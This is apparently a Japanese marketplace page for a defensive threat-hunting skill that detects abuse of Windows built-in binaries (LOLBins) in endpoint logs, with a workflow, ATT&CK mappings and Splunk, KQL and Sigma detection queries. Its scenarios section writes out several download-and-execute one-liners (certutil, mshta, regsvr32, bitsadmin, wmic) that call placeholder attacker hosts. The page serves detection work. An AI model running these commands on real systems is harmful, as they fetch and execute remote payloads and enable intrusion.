mcpField
H
hunting-for-lolbins-execution-in-endpoint-logs

hunting-for-lolbins-execution-in-endpoint-logs

github.com/mukul975セキュリティ35.2k51 回インストール8 週間前に更新
リポジトリ

hunting-for-lolbins-execution-in-endpoint-logs について

Windows 標準バイナリの悪用をエンドポイントログから調査する、セキュリティ分析担当者向けのハンティングスキルです。異常な引数、プロセス関係、実行パス、関連するネットワーク活動を調べる手順を示します。

主な機能

  1. 01LOLBins リストと通常利用の基準作成
  2. 02不審なコマンドラインのハンティング
  3. 03親子プロセス関係の分析
  4. 04通常と異なる実行パスの確認
  5. 05ネットワーク活動との相関分析
  6. 06調査結果の優先順位付け

活用シーン

  1. 01certutil や mshta の不審なアラート調査
  2. 02LOLBins を使った攻撃活動のハンティング
  3. 03エンドポイント検知範囲の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill hunting-for-lolbins-execution-in-endpoint-logs

インストール後、Claude Code で/hunting-for-lolbins-execution-in-endpoint-logsを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

エンドポイントログにおける LOLBins 実行のハンティング

使用するタイミング

  • 組み込みの Windows バイナリを悪用するファイルレス攻撃の手法をハンティングするとき
  • 脅威インテリジェンスにより、自社の業界を標的とした LOLBin ベースのキャンペーンが報告されたとき
  • certutil、mshta、rundll32、regsvr32 の不審な使用に関するアラートを調査するとき
  • 防御回避の手法に対する検知をテストするパープルチーム演習の期間中
  • MITRE ATT&CK T1218 のサブテクニックに対するエンドポイント検知のカバレッジを評価するとき

前提条件

  • コマンドライン全体をログに記録する Sysmon イベント ID 1(プロセス作成)
  • コマンドラインの監査を有効にした Windows セキュリティイベント ID 4688
  • 親子プロセスの関係を含む EDR テレメトリ
  • クエリと相関分析のための SIEM プラットフォーム(Splunk、Elastic、Microsoft Sentinel)
  • 既知の悪用パターンを確認するための LOLBAS プロジェクトのリファレンス(lolbas-project.github.io)

ワークフロー

  1. LOLBin ウォッチリストの作成: LOLBAS プロジェクトから高リスクの LOLBin を一覧にまとめます。優先度は certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe、powershell.exe の順です。
  2. 通常の使用状況のベースライン化: 30 日間にわたり、各バイナリのコマンドライン引数、親プロセス、ユーザーコンテキストをプロファイリングし、自社環境における LOLBin の通常の使用状況を把握します。
  3. 異常な引数のハンティング: 悪用を示す不審なコマンドライン引数で実行された LOLBin を検索します。例として、-urlcache -decode -encode を伴う certutil、URL 引数を伴う mshta、一時ディレクトリやユーザーディレクトリから DLL を読み込む rundll32、/s /n /u /i:URL を伴う regsvr32 などがあります。
  4. 親子関係の分析: LOLBin を起動する想定外の親プロセスを特定します。たとえば、outlook.exe が mshta.exe を起動している場合や、winword.exe が certutil.exe を起動している場合は、武器化された文書による配布を示している可能性があります。
  5. 通常とは異なるパスからの実行の確認: 標準以外のパス(%TEMP% やユーザープロファイルディレクトリに置かれたコピー)から実行された LOLBin は、名前を変更したバイナリの悪用を示唆します。
  6. ネットワークアクティビティとの相関分析: LOLBin の実行を送信ネットワーク接続(Sysmon イベント ID 3)と対応付け、ダウンロードクラドルや C2 コールバックを特定します。
  7. スコアリングと優先順位付け: 不審な引数、想定外の親プロセス、標準以外のパス、ネットワークアクティビティの指標を組み合わせて、異常の深刻度により検出結果を順位付けします。

主要な概念

概念説明
T1218System Binary Proxy Execution
T1218.001Compiled HTML File (mshta.exe)
T1218.003CMSTP
T1218.005Mshta
T1218.010Regsvr32 (Squiblydoo)
T1218.011Rundll32
T1127.001MSBuild
T1197BITS Jobs (bitsadmin.exe)
T1140Deobfuscate/Decode Files (certutil.exe)
T1059.001PowerShell
T1059.005Visual Basic (wscript/cscript)
LOLBASLiving Off the Land Binaries, Scripts and Libraries project

ツールとシステム

ツール用途
Sysmonコマンドラインとハッシュのログを含むプロセス作成の記録
CrowdStrike FalconLOLBin 検知分析機能を備えた EDR
Microsoft Defender for Endpoint組み込みの LOLBin 悪用検知
SplunkSPL によるプロセスのハンティングと異常検知
Elastic Security事前構築済みの LOLBin 検知ルール
LOLBAS ProjectLOLBin 悪用手法のリファレンスデータベース
Sigma RulesLOLBin 悪用向けのコミュニティ検知ルール

検知クエリ

Splunk -- 高リスクの LOLBin 実行
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
KQL -- Microsoft Sentinel による LOLBin のハンティング
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma ルール -- 不審な LOLBin のコマンドライン
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

一般的なシナリオ

  1. Certutil ダウンロードクラドル: certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe を使用して、プロキシフィルターを回避しながらマルウェアをダウンロードします。
  2. Mshta HTA 実行: mshta.exe http://attacker.com/malicious.hta を使用して、VBScript または JScript のペイロードを含むリモート HTA ファイルを実行します。
  3. Regsvr32 Squiblydoo: regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll を使用して、アプリケーションのホワイトリストを回避するためにリモート SCT ファイルを実行します。
  4. Rundll32 DLL プロキシ: rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint を使用して、正規のバイナリを介して攻撃者の DLL を実行します。
  5. MSBuild インラインタスク: msbuild.exe C:\Temp\malicious.csproj を使用して、アプリケーション制御を回避するためにプロジェクトファイルに埋め込まれた C# コードを実行します。
  6. BITS 転送: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe を使用して、BITS サービスによりファイルを目立たないようにダウンロードします。
  7. WMIC XSL 実行: wmic process list /format:evil.xsl を使用して、XSL スタイルシートから JScript/VBScript を実行します。

出力形式

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]

コメント